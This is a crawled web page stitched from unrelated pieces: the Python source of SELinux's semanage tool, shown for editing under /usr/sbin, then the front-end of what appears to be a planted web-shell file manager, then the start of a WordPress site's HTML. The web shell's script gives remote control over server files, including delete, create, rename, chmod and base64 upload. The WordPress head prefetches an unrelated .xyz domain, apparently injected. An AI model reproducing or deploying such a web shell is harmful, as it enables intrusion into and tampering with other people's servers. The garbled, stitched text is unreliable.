    parser_add_extract(port_action, &quot;port&quot;)
    parser_add_deleteall(port_action, &quot;port&quot;)
    parser_add_type(portParser, &quot;port&quot;)
    parser_add_range(portParser, &quot;port&quot;)
    parser_add_proto(portParser, &quot;port&quot;)
    portParser.add_argument(&#039;port&#039;, nargs=&#039;?&#039;, default=None, help=_(&#039;port | port_range&#039;))
    portParser.set_defaults(func=handlePort)



def handlePkey(args):
    ibpkey_args = {&#039;list&#039;: [(&#039;ibpkey&#039;, &#039;type&#039;, &#039;subnet_prefix&#039;), (&#039;&#039;)], &#039;add&#039;: [(&#039;locallist&#039;), (&#039;type&#039;, &#039;ibpkey&#039;, &#039;subnet_prefix&#039;)], &#039;modify&#039;: [(&#039;localist&#039;), (&#039;ibpkey&#039;, &#039;subnet_prefix&#039;)], &#039;delete&#039;: [(&#039;locallist&#039;), (&#039;ibpkey&#039;, &#039;subnet_prefix&#039;)], &#039;extract&#039;: [(&#039;locallist&#039;, &#039;ibpkey&#039;, &#039;type&#039;, &#039;subnet prefix&#039;), (&#039;&#039;)], &#039;deleteall&#039;: [(&#039;locallist&#039;), (&#039;&#039;)]}

    handle_opts(args, ibpkey_args, args.action)

    OBJECT = object_dict[&#039;ibpkey&#039;](args)

    if args.action == &quot;add&quot;:
        OBJECT.add(args.ibpkey, args.subnet_prefix, args.range, args.type)
    if args.action == &quot;modify&quot;:
        OBJECT.modify(args.ibpkey, args.subnet_prefix, args.range, args.type)
    if args.action == &quot;delete&quot;:
        OBJECT.delete(args.ibpkey, args.subnet_prefix)
    if args.action == &quot;list&quot;:
        OBJECT.list(args.noheading, args.locallist)
    if args.action == &quot;deleteall&quot;:
        OBJECT.deleteall()
    if args.action == &quot;extract&quot;:
        for i in OBJECT.customized():
            print(&quot;ibpkey %s&quot; % str(i))


def setupPkeyParser(subparsers):
    generated_usage = generate_custom_usage(usage_ibpkey, usage_ibpkey_dict)
    ibpkeyParser = subparsers.add_parser(&#039;ibpkey&#039;, usage=generated_usage, help=_(&#039;Manage infiniband ibpkey type definitions&#039;))
    parser_add_locallist(ibpkeyParser, &quot;ibpkey&quot;)
    parser_add_noheading(ibpkeyParser, &quot;ibpkey&quot;)
    parser_add_noreload(ibpkeyParser, &quot;ibpkey&quot;)
    parser_add_store(ibpkeyParser, &quot;ibpkey&quot;)

    ibpkey_action = ibpkeyParser.add_mutually_exclusive_group(required=True)
    parser_add_add(ibpkey_action, &quot;ibpkey&quot;)
    parser_add_delete(ibpkey_action, &quot;ibpkey&quot;)
    parser_add_modify(ibpkey_action, &quot;ibpkey&quot;)
    parser_add_list(ibpkey_action, &quot;ibpkey&quot;)
    parser_add_extract(ibpkey_action, &quot;ibpkey&quot;)
    parser_add_deleteall(ibpkey_action, &quot;ibpkey&quot;)
    parser_add_type(ibpkeyParser, &quot;ibpkey&quot;)
    parser_add_range(ibpkeyParser, &quot;ibpkey&quot;)
    parser_add_subnet_prefix(ibpkeyParser, &quot;ibpkey&quot;)
    ibpkeyParser.add_argument(&#039;ibpkey&#039;, nargs=&#039;?&#039;, default=None, help=_(&#039;pkey | pkey_range&#039;))
    ibpkeyParser.set_defaults(func=handlePkey)

def handleIbendport(args):
    ibendport_args = {&#039;list&#039;: [(&#039;ibendport&#039;, &#039;type&#039;, &#039;ibdev_name&#039;), (&#039;&#039;)], &#039;add&#039;: [(&#039;locallist&#039;), (&#039;type&#039;, &#039;ibendport&#039;, &#039;ibdev_name&#039;), (&#039;&#039;)], &#039;modify&#039;: [(&#039;localist&#039;), (&#039;ibendport&#039;, &#039;ibdev_name&#039;)], &#039;delete&#039;: [(&#039;locallist&#039;), (&#039;ibendport&#039;, &#039;ibdev_name&#039;)], &#039;extract&#039;: [(&#039;locallist&#039;, &#039;ibendport&#039;, &#039;type&#039;, &#039;ibdev_name&#039;), (&#039;&#039;)], &#039;deleteall&#039;: [(&#039;locallist&#039;), (&#039;&#039;)]}

    handle_opts(args, ibendport_args, args.action)

    OBJECT = object_dict[&#039;ibendport&#039;](args)

    if args.action == &quot;add&quot;:
        OBJECT.add(args.ibendport, args.ibdev_name, args.range, args.type)
    if args.action == &quot;modify&quot;:
        OBJECT.modify(args.ibendport, args.ibdev_name, args.range, args.type)
    if args.action == &quot;delete&quot;:
        OBJECT.delete(args.ibendport, args.ibdev_name)
    if args.action == &quot;list&quot;:
        OBJECT.list(args.noheading, args.locallist)
    if args.action == &quot;deleteall&quot;:
        OBJECT.deleteall()
    if args.action == &quot;extract&quot;:
        for i in OBJECT.customized():
            print(&quot;ibendport %s&quot; % str(i))


def setupIbendportParser(subparsers):
    generated_usage = generate_custom_usage(usage_ibendport, usage_ibendport_dict)
    ibendportParser = subparsers.add_parser(&#039;ibendport&#039;, usage=generated_usage, help=_(&#039;Manage infiniband end port type definitions&#039;))
    parser_add_locallist(ibendportParser, &quot;ibendport&quot;)
    parser_add_noheading(ibendportParser, &quot;ibendport&quot;)
    parser_add_noreload(ibendportParser, &quot;ibendport&quot;)
    parser_add_store(ibendportParser, &quot;ibendport&quot;)

    ibendport_action = ibendportParser.add_mutually_exclusive_group(required=True)
    parser_add_add(ibendport_action, &quot;ibendport&quot;)
    parser_add_delete(ibendport_action, &quot;ibendport&quot;)
    parser_add_modify(ibendport_action, &quot;ibendport&quot;)
    parser_add_list(ibendport_action, &quot;ibendport&quot;)
    parser_add_extract(ibendport_action, &quot;ibendport&quot;)
    parser_add_deleteall(ibendport_action, &quot;ibendport&quot;)
    parser_add_type(ibendportParser, &quot;ibendport&quot;)
    parser_add_range(ibendportParser, &quot;ibendport&quot;)
    parser_add_ibdev_name(ibendportParser, &quot;ibendport&quot;)
    ibendportParser.add_argument(&#039;ibendport&#039;, nargs=&#039;?&#039;, default=None, help=_(&#039;ibendport&#039;))
    ibendportParser.set_defaults(func=handleIbendport)

def handleInterface(args):
    interface_args = {&#039;list&#039;: [(&#039;interface&#039;), (&#039;&#039;)], &#039;add&#039;: [(&#039;locallist&#039;), (&#039;type&#039;, &#039;interface&#039;)], &#039;modify&#039;: [(&#039;locallist&#039;), (&#039;type&#039;, &#039;interface&#039;)], &#039;delete&#039;: [(&#039;locallist&#039;), (&#039;interface&#039;)], &#039;extract&#039;: [(&#039;locallist&#039;, &#039;interface&#039;, &#039;type&#039;), (&#039;&#039;)], &#039;deleteall&#039;: [(&#039;locallist&#039;), (&#039;&#039;)]}

    handle_opts(args, interface_args, args.action)

    OBJECT = object_dict[&#039;interface&#039;](args)

    if args.action == &quot;add&quot;:
        OBJECT.add(args.interface, args.range, args.type)
    if args.action == &quot;modify&quot;:
        OBJECT.modify(args.interface, args.range, args.type)
    if args.action == &quot;delete&quot;:
        OBJECT.delete(args.interface)
    if args.action == &quot;list&quot;:
        OBJECT.list(args.noheading, args.locallist)
    if args.action == &quot;deleteall&quot;:
        OBJECT.deleteall()
    if args.action == &quot;extract&quot;:
        for i in OBJECT.customized():
            print(&quot;interface %s&quot; % str(i))


def setupInterfaceParser(subparsers):
    generated_usage = generate_custom_usage(usage_interface, usage_interface_dict)
    interfaceParser = subparsers.add_parser(&#039;interface&#039;, usage=generated_usage, help=_(&#039;Manage network interface type definitions&#039;))
    parser_add_locallist(interfaceParser, &quot;interface&quot;)
    parser_add_noheading(interfaceParser, &quot;interface&quot;)
    parser_add_noreload(interfaceParser, &quot;interface&quot;)
    parser_add_store(interfaceParser, &quot;interface&quot;)
    parser_add_type(interfaceParser, &quot;interface&quot;)
    parser_add_range(interfaceParser, &quot;interface&quot;)

    interface_action = interfaceParser.add_mutually_exclusive_group(required=True)
    parser_add_add(interface_action, &quot;interface&quot;)
    parser_add_delete(interface_action, &quot;interface&quot;)
    parser_add_modify(interface_action, &quot;interface&quot;)
    parser_add_list(interface_action, &quot;interface&quot;)
    parser_add_extract(interface_action, &quot;interface&quot;)
    parser_add_deleteall(interface_action, &quot;interface&quot;)
    interfaceParser.add_argument(&#039;interface&#039;, nargs=&#039;?&#039;, default=None, help=_(&#039;interface_spec&#039;))
    interfaceParser.set_defaults(func=handleInterface)


def handleModule(args):
    OBJECT = seobject.moduleRecords(args)
    if args.action_add:
        OBJECT.add(args.action_add[0], args.priority)
    if args.action_enable:
        OBJECT.set_enabled(&quot; &quot;.join(args.action_enable), True)
    if args.action_disable:
        OBJECT.set_enabled(&quot; &quot;.join(args.action_disable), False)
    if args.action_remove:
        OBJECT.delete(&quot; &quot;.join(args.action_remove), args.priority)
    if args.action == &quot;deleteall&quot;:
        OBJECT.deleteall()
    if args.action == &quot;list&quot;:
        OBJECT.list(args.noheading, args.locallist)
    if args.action == &quot;extract&quot;:
        for i in OBJECT.customized():
            print(&quot;module %s&quot; % str(i))


def setupModuleParser(subparsers):
    moduleParser = subparsers.add_parser(&#039;module&#039;, help=_(&#039;Manage SELinux policy modules&#039;))
    parser_add_noheading(moduleParser, &quot;module&quot;)
    parser_add_noreload(moduleParser, &quot;module&quot;)
    parser_add_store(moduleParser, &quot;module&quot;)
    parser_add_locallist(moduleParser, &quot;module&quot;)
    parser_add_priority(moduleParser, &quot;module&quot;)

    mgroup = moduleParser.add_mutually_exclusive_group(required=True)
    parser_add_list(mgroup, &quot;module&quot;)
    parser_add_extract(mgroup, &quot;module&quot;)
    parser_add_deleteall(mgroup, &quot;module&quot;)
    mgroup.add_argument(&#039;-a&#039;, &#039;--add&#039;, dest=&#039;action_add&#039;, action=&#039;store&#039;, nargs=1, metavar=&#039;module_name&#039;, help=_(&quot;Add a module&quot;))
    mgroup.add_argument(&#039;-r&#039;, &#039;--remove&#039;, dest=&#039;action_remove&#039;, action=&#039;store&#039;, nargs=&#039;+&#039;, metavar=&#039;module_name&#039;, help=_(&quot;Remove a module&quot;))
    mgroup.add_argument(&#039;-d&#039;, &#039;--disable&#039;, dest=&#039;action_disable&#039;, action=&#039;store&#039;, nargs=&#039;+&#039;, metavar=&#039;module_name&#039;, help=_(&quot;Disable a module&quot;))
    mgroup.add_argument(&#039;-e&#039;, &#039;--enable&#039;, dest=&#039;action_enable&#039;, action=&#039;store&#039;, nargs=&#039;+&#039;, metavar=&#039;module_name&#039;, help=_(&quot;Enable a module&quot;))
    moduleParser.set_defaults(func=handleModule)


def handleNode(args):
    node_args = {&#039;list&#039;: [(&#039;node&#039;, &#039;type&#039;, &#039;proto&#039;, &#039;netmask&#039;), (&#039;&#039;)], &#039;add&#039;: [(&#039;locallist&#039;), (&#039;type&#039;, &#039;node&#039;, &#039;proto&#039;, &#039;netmask&#039;)], &#039;modify&#039;: [(&#039;locallist&#039;), (&#039;node&#039;, &#039;netmask&#039;, &#039;proto&#039;)], &#039;delete&#039;: [(&#039;locallist&#039;), (&#039;node&#039;, &#039;netmask&#039;, &#039;prototype&#039;)], &#039;extract&#039;: [(&#039;locallist&#039;, &#039;node&#039;, &#039;type&#039;, &#039;proto&#039;, &#039;netmask&#039;), (&#039;&#039;)], &#039;deleteall&#039;: [(&#039;locallist&#039;), (&#039;&#039;)]}
    handle_opts(args, node_args, args.action)

    OBJECT = object_dict[&#039;node&#039;](args)

    if args.action == &quot;add&quot;:
        OBJECT.add(args.node, args.netmask, args.proto, args.range, args.type)
    if args.action == &quot;modify&quot;:
        OBJECT.modify(args.node, args.netmask, args.proto, args.range, args.type)
    if args.action == &quot;delete&quot;:
        OBJECT.delete(args.node, args.netmask, args.proto)
    if args.action == &quot;list&quot;:
        OBJECT.list(args.noheading, args.locallist)
    if args.action == &quot;deleteall&quot;:
        OBJECT.deleteall()
    if args.action == &quot;extract&quot;:
        for i in OBJECT.customized():
            print(&quot;node %s&quot; % str(i))


def setupNodeParser(subparsers):
    generated_usage = generate_custom_usage(usage_node, usage_node_dict)
    nodeParser = subparsers.add_parser(&#039;node&#039;, usage=generated_usage, help=_(&#039;Manage network node type definitions&#039;))
    parser_add_locallist(nodeParser, &quot;node&quot;)
    parser_add_noheading(nodeParser, &quot;node&quot;)
    parser_add_noreload(nodeParser, &quot;node&quot;)
    parser_add_store(nodeParser, &quot;node&quot;)

    node_action = nodeParser.add_mutually_exclusive_group(required=True)
    parser_add_add(node_action, &quot;node&quot;)
    parser_add_delete(node_action, &quot;node&quot;)
    parser_add_modify(node_action, &quot;node&quot;)
    parser_add_list(node_action, &quot;node&quot;)
    parser_add_extract(node_action, &quot;node&quot;)
    parser_add_deleteall(node_action, &quot;node&quot;)

    nodeParser.add_argument(&#039;-M&#039;, &#039;--netmask&#039;, help=_(&#039;Network Mask&#039;))
    parser_add_type(nodeParser, &quot;node&quot;)
    parser_add_range(nodeParser, &quot;node&quot;)
    parser_add_proto(nodeParser, &quot;node&quot;)
    nodeParser.add_argument(&#039;node&#039;, nargs=&#039;?&#039;, default=None, help=_(&#039;node&#039;))
    nodeParser.set_defaults(func=handleNode)


def handleBoolean(args):
    boolean_args = {&#039;list&#039;: [(&#039;state&#039;, &#039;boolean&#039;), (&#039;&#039;)], &#039;modify&#039;: [(&#039;localist&#039;), (&#039;boolean&#039;, &#039;state&#039;)], &#039;extract&#039;: [(&#039;locallist&#039;, &#039;state&#039;, &#039;boolean&#039;), (&#039;&#039;)], &#039;deleteall&#039;: [(&#039;locallist&#039;), (&#039;&#039;)], &#039;state&#039;: [(&#039;locallist&#039;, &#039;list&#039;, &#039;extract&#039;, &#039;deleteall&#039;), (&#039;modify&#039;)]}

    handle_opts(args, boolean_args, args.action)

    OBJECT = object_dict[&#039;boolean&#039;](args)

    if args.action == &quot;modify&quot;:
        if args.boolean:
            OBJECT.modify(args.boolean, args.state, False)
    if args.action == &quot;list&quot;:
        OBJECT.list(args.noheading, args.locallist)
    if args.action == &quot;deleteall&quot;:
        OBJECT.deleteall()
    if args.action == &quot;extract&quot;:
        for i in OBJECT.customized():
            print(&quot;boolean %s&quot; % str(i))


def setupBooleanParser(subparsers):
    generated_usage = generate_custom_usage(usage_boolean, usage_boolean_dict)
    booleanParser = subparsers.add_parser(&#039;boolean&#039;, usage=generated_usage, help=_(&#039;Manage booleans to selectively enable functionality&#039;))
    parser_add_locallist(booleanParser, &quot;boolean&quot;)
    parser_add_noheading(booleanParser, &quot;boolean&quot;)
    parser_add_noreload(booleanParser, &quot;boolean&quot;)
    parser_add_store(booleanParser, &quot;boolean&quot;)
    booleanParser.add_argument(&#039;boolean&#039;, nargs=&quot;?&quot;, default=None, help=_(&#039;boolean&#039;))

    boolean_action = booleanParser.add_mutually_exclusive_group(required=True)
    #add_add(boolean_action)
    parser_add_modify(boolean_action, &quot;boolean&quot;)
    parser_add_list(boolean_action, &quot;boolean&quot;)
    parser_add_extract(boolean_action, &quot;boolean&quot;)
    parser_add_deleteall(boolean_action, &quot;boolean&quot;)

    booleanGroup = booleanParser.add_mutually_exclusive_group(required=False)
    booleanGroup.add_argument(&#039;-1&#039;, &#039;--on&#039;, dest=&#039;state&#039;, action=&#039;store_const&#039;, const=&#039;on&#039;, help=_(&#039;Enable the boolean&#039;))
    booleanGroup.add_argument(&#039;-0&#039;, &#039;--off&#039;, dest=&#039;state&#039;, action=&#039;store_const&#039;, const=&#039;off&#039;, help=_(&#039;Disable the boolean&#039;))

    booleanParser.set_defaults(func=handleBoolean)


def handlePermissive(args):
    OBJECT = object_dict[&#039;permissive&#039;](args)

    if args.action == &quot;list&quot;:
        OBJECT.list(args.noheading)
    elif args.action == &quot;deleteall&quot;:
        OBJECT.deleteall()
    elif args.action == &quot;extract&quot;:
        for i in OBJECT.customized():
            print(&quot;permissive %s&quot; % str(i))
    elif args.type is not None:
        if args.action == &quot;add&quot;:
            OBJECT.add(args.type)
        if args.action == &quot;delete&quot;:
            OBJECT.delete(args.type)
    else:
        args.parser.error(message=_(&#039;semanage permissive: error: the following argument is required: type\n&#039;))


def setupPermissiveParser(subparsers):
    permissiveParser = subparsers.add_parser(&#039;permissive&#039;, help=_(&#039;Manage process type enforcement mode&#039;))

    pgroup = permissiveParser.add_mutually_exclusive_group(required=True)
    parser_add_add(pgroup, &quot;permissive&quot;)
    parser_add_delete(pgroup, &quot;permissive&quot;)
    parser_add_deleteall(pgroup, &quot;permissive&quot;)
    parser_add_extract(pgroup, &quot;permissive&quot;)
    parser_add_list(pgroup, &quot;permissive&quot;)

    parser_add_noheading(permissiveParser, &quot;permissive&quot;)
    parser_add_noreload(permissiveParser, &quot;permissive&quot;)
    parser_add_store(permissiveParser, &quot;permissive&quot;)
    permissiveParser.add_argument(&#039;type&#039;, nargs=&#039;?&#039;, default=None, help=_(&#039;type&#039;))
    permissiveParser.set_defaults(func=handlePermissive)
    permissiveParser.set_defaults(parser=permissiveParser)


def handleDontaudit(args):
    OBJECT = object_dict[&#039;dontaudit&#039;](args)
    OBJECT.toggle(args.action)


def setupDontauditParser(subparsers):
    dontauditParser = subparsers.add_parser(&#039;dontaudit&#039;, help=_(&#039;Disable/Enable dontaudit rules in policy&#039;))
    parser_add_noreload(dontauditParser, &quot;dontaudit&quot;)
    parser_add_store(dontauditParser, &quot;dontaudit&quot;)
    dontauditParser.add_argument(&#039;action&#039;, choices=[&quot;on&quot;, &quot;off&quot;])
    dontauditParser.set_defaults(func=handleDontaudit)


def handleExport(args):
    manageditems = [&quot;boolean&quot;, &quot;login&quot;, &quot;interface&quot;, &quot;user&quot;, &quot;port&quot;, &quot;node&quot;, &quot;fcontext&quot;, &quot;module&quot;, &quot;ibendport&quot;, &quot;ibpkey&quot;, &quot;permissive&quot;]
    for i in manageditems:
        print(&quot;%s -D&quot; % i)
    for i in manageditems:
        OBJECT = object_dict[i](args)
        for c in OBJECT.customized():
            print(&quot;%s %s&quot; % (i, str(c)))

    sys.exit(0)


def setupExportParser(subparsers):
    exportParser = subparsers.add_parser(&#039;export&#039;, help=_(&#039;Output local customizations&#039;))
    parser_add_store(exportParser, &quot;export&quot;)
    exportParser.add_argument(&#039;-f&#039;, &#039;--output_file&#039;, dest=&#039;output_file&#039;, action=SetExportFile, help=_(&#039;Output file&#039;))
    exportParser.set_defaults(func=handleExport)


def mkargv(line):
    dquote = &quot;\&quot;&quot;
    squote = &quot;\&#039;&quot;
    l = line.split()
    ret = []
    i = 0
    while i &lt; len(l):
        cnt = len(re.findall(dquote, l[i]))
        if cnt &gt; 1:
            ret.append(l[i].strip(dquote))
            i = i + 1
            continue
        if cnt == 1:
            quote = [l[i].strip(dquote)]
            i = i + 1

            while i &lt; len(l) and dquote not in l[i]:
                quote.append(l[i])
                i = i + 1
            quote.append(l[i].strip(dquote))
            ret.append(&quot; &quot;.join(quote))
            i = i + 1
            continue

        cnt = len(re.findall(squote, l[i]))
        if cnt &gt; 1:
            ret.append(l[i].strip(squote))
            i = i + 1
            continue
        if cnt == 1:
            quote = [l[i].strip(squote)]
            i = i + 1
            while i &lt; len(l) and squote not in l[i]:
                quote.append(l[i])
                i = i + 1

            quote.append(l[i].strip(squote))
            ret.append(&quot; &quot;.join(quote))
            i = i + 1
            continue

        ret.append(l[i])
        i = i + 1

    return ret


def handleImport(args):
    trans = seobject.semanageRecords(args)
    trans.start()

    deleteCommands = []
    commands = []
    # separate commands for deletion from the rest so they can be
    # applied in a separate transaction
    for l in sys.stdin.readlines():
        if len(l.strip()) == 0:
            continue
        if &quot;-d&quot; in l or &quot;-D&quot; in l:
            deleteCommands.append(l)
        else:
            commands.append(l)

    if deleteCommands:
        importHelper(deleteCommands)
        trans.finish()
        trans.start()

    importHelper(commands)
    trans.finish()


def importHelper(commands):
    for l in commands:
        try:
            commandParser = createCommandParser()
            args = commandParser.parse_args(mkargv(l))
            args.func(args)
        except ValueError as e:
            sys.stderr.write(&quot;%s: %s\n&quot; % (e.__class__.__name__, str(e)))
            sys.exit(1)
        except IOError as e:
            sys.stderr.write(&quot;%s: %s\n&quot; % (e.__class__.__name__, str(e)))
            sys.exit(1)
        except KeyboardInterrupt:
            sys.exit(0)


def setupImportParser(subparsers):
    importParser = subparsers.add_parser(&#039;import&#039;, help=_(&#039;Import local customizations&#039;))
    parser_add_noreload(importParser, &quot;import&quot;)
    parser_add_store(importParser, &quot;import&quot;)
    importParser.add_argument(&#039;-f&#039;, &#039;--input_file&#039;, dest=&#039;input_file&#039;, action=SetImportFile, help=_(&#039;Input file&#039;))
    importParser.set_defaults(func=handleImport)


def createCommandParser():
    commandParser = seParser(prog=&#039;semanage&#039;,
                             formatter_class=argparse.ArgumentDefaultsHelpFormatter,
                             description=_(
            &quot;semanage is used to configure certain elements of SELinux policy with-out requiring modification or recompilation from policy source.&quot;
                             ))

    #To add a new subcommand define the parser for it in a function above and call it here.
    subparsers = commandParser.add_subparsers(dest=&#039;subcommand&#039;)
    subparsers.required = True
    setupImportParser(subparsers)
    setupExportParser(subparsers)
    setupLoginParser(subparsers)
    setupUserParser(subparsers)
    setupPortParser(subparsers)
    setupPkeyParser(subparsers)
    setupIbendportParser(subparsers)
    setupInterfaceParser(subparsers)
    setupModuleParser(subparsers)
    setupNodeParser(subparsers)
    setupFcontextParser(subparsers)
    setupBooleanParser(subparsers)
    setupPermissiveParser(subparsers)
    setupDontauditParser(subparsers)

    return commandParser


def make_io_args(args):
    # import/export backward compatibility
    args_origin = [&quot;-S&quot;, &quot;-o&quot;, &quot;-i&quot;, &quot;targeted&quot;, &quot;minimum&quot;, &quot;mls&quot;]
    args_file = []
    args_ie = []
    args_subcommand = []

    for i in args:
        if i == &quot;-o&quot;:
            args_subcommand = [&quot;export&quot;]
            continue
        if i == &quot;-i&quot;:
            args_subcommand = [&quot;import&quot;]
            continue
        if i not in args_origin:
            args_file = [&quot;-f&quot;, i]
            continue
        args_ie.append(i)

    return args_subcommand + args_ie + args_file


def make_args(sys_args):
    args = []
    if &quot;-o&quot; in sys_args[1:] or &quot;-i&quot; in sys_args[1:]:
        args = make_io_args(sys_args[1:])
    else:
        args = sys_args[1:]

    return args


def do_parser():
    try:
        commandParser = createCommandParser()
        args = commandParser.parse_args(make_args(sys.argv))
        args.func(args)
        sys.exit(0)
    except BrokenPipeError as e:
        sys.stderr.write(&quot;%s: %s\n&quot; % (e.__class__.__name__, str(e)))
        # Python flushes standard streams on exit; redirect remaining output
        # to devnull to avoid another BrokenPipeError at shutdown
        devnull = os.open(os.devnull, os.O_WRONLY)
        os.dup2(devnull, sys.stdout.fileno())
        sys.exit(1)
    except OSError as e:
        sys.stderr.write(&quot;%s: %s\n&quot; % (e.__class__.__name__, e.args[1]))
        sys.exit(1)
    except KeyboardInterrupt:
        sys.exit(0)
    except ValueError as e:
        sys.stderr.write(&quot;%s: %s\n&quot; % (e.__class__.__name__, e.args[0]))
        sys.exit(1)
    except KeyError as e:
        sys.stderr.write(&quot;%s: %s\n&quot; % (e.__class__.__name__, e.args[0]))
        sys.exit(1)
    except RuntimeError as e:
        sys.stderr.write(&quot;%s: %s\n&quot; % (e.__class__.__name__, e.args[0]))
        sys.exit(1)

if __name__ == &#039;__main__&#039;:
    do_parser()
</textarea>
                    <div style="margin-top:15px;display:flex;gap:8px;">
                        <button class="button button-green">Save</button>
                        <a href="?p=%2Fusr%2Fsbin" class="button button-red">Cancel</a>
                    </div>
                </form>
            </div>
            </div>
    
    <div id="toast-container" class="toast-container"></div>

    <script>
        const currentPath = '/usr/sbin';
        
        function showToast(msg, type) {
            const container = document.getElementById('toast-container');
            const toast = document.createElement('div');
            toast.className = 'toast toast-' + type;
            toast.innerHTML = msg + '<span onclick="this.parentElement.remove()" style="cursor:pointer;margin-left:10px;">×</span>';
            container.appendChild(toast);
            setTimeout(() => toast.remove(), 3000);
        }
        
        function ajaxRequest(action, data) {
            const formData = new FormData();
            formData.append('ajax_action', action);
            for(const key in data) formData.append(key, data[key]);
            return fetch(window.location.pathname, { method: 'POST', body: formData }).then(r => r.json());
        }
        
        function ajaxDelete(path, btn) {
            if(!confirm('Delete?')) return;
            const row = btn.closest('tr');
            row.style.opacity = '0.5';
            ajaxRequest('delete', {path}).then(r => {
                if(r.success) { row.remove(); showToast('Deleted', 'success'); }
                else { row.style.opacity = '1'; showToast(r.message || 'Failed', 'error'); }
            });
        }
        
        function showCreateFile() {
            const name = prompt('File name:', 'newfile.txt');
            if(name) {
                const content = prompt('Content:', '');
                ajaxRequest('create', {path: currentPath, name, type: 'file', content: content || ''})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showCreateFolder() {
            const name = prompt('Folder name:', 'newfolder');
            if(name) {
                ajaxRequest('create', {path: currentPath, name, type: 'dir'})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showRename(path, name) {
            const newName = prompt('New name:', name);
            if(newName && newName !== name) {
                ajaxRequest('rename', {old_path: path, new_name: newName})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showChmod(path, current) {
            const mode = prompt('Permissions (e.g. 755):', current);
            if(mode && mode !== current) {
                ajaxRequest('chmod', {path, mode})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function uploadFileB64(input) {
            const file = input.files[0];
            if(!file) return;
            showToast('Uploading: ' + file.name, 'success');
            const reader = new FileReader();
            reader.onload = function(e) {
                const b64 = e.target.result.split(',')[1];
                const formData = new FormData();
                formData.append('ajax_action', 'b64upload');
                formData.append('path', currentPath);
                formData.append('name', file.name);
                formData.append('data', b64);
                fetch(window.location.pathname, { method: 'POST', body: formData })
                    .then(r => r.json())
                    .then(r => {
                        if(r.success) { showToast('Uploaded: ' + file.name, 'success'); setTimeout(() => location.reload(), 500); }
                        else { showToast('Failed: ' + (r.message || 'Unknown error'), 'error'); }
                    })
                    .catch(err => showToast('Error: ' + err.message, 'error'));
            };
            reader.readAsDataURL(file);
            input.value = '';
        }
        
        function searchFiles(query) {
            query = query.toLowerCase();
            document.querySelectorAll('#file-list tr[data-name]').forEach(row => {
                row.style.display = row.dataset.name.includes(query) ? '' : 'none';
            });
        }
        
        document.addEventListener('keydown', function(e) {
            if(e.ctrlKey && e.key === 'f' && !e.target.matches('input,textarea')) { 
                e.preventDefault(); 
                document.getElementById('search-input').focus(); 
            }
        });
    </script>
</body>
</html><!doctype html>
<html lang="pt-BR">
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<link rel="profile" href="https://gmpg.org/xfn/11">
	<title>pblmedic</title>
<meta name='robots' content='max-image-preview:large' />
<link rel='dns-prefetch' href='//combenipi9231.xyz' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="Feed para pblmedic &raquo;" href="https://pblmedic.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Feed de comentários para pblmedic &raquo;" href="https://pblmedic.com/comments/feed/" />
<style id="wp-img-auto-sizes-contain-inline-css">
img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}
/*# sourceURL=wp-img-auto-sizes-contain-inline-css */
</style>
<style id="wp-emoji-styles-inline-css">

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
/*# sourceURL=wp-emoji-styles-inline-css */
</style>
<style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-break:normal!important}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style^=border-color],[style*=";border-color"],[style*="; border-color"]){border-style:solid}html :where([style^=border-top-color],[style*=";border-top-color"],[style*="; border-top-color"]){border-top-style:solid}html 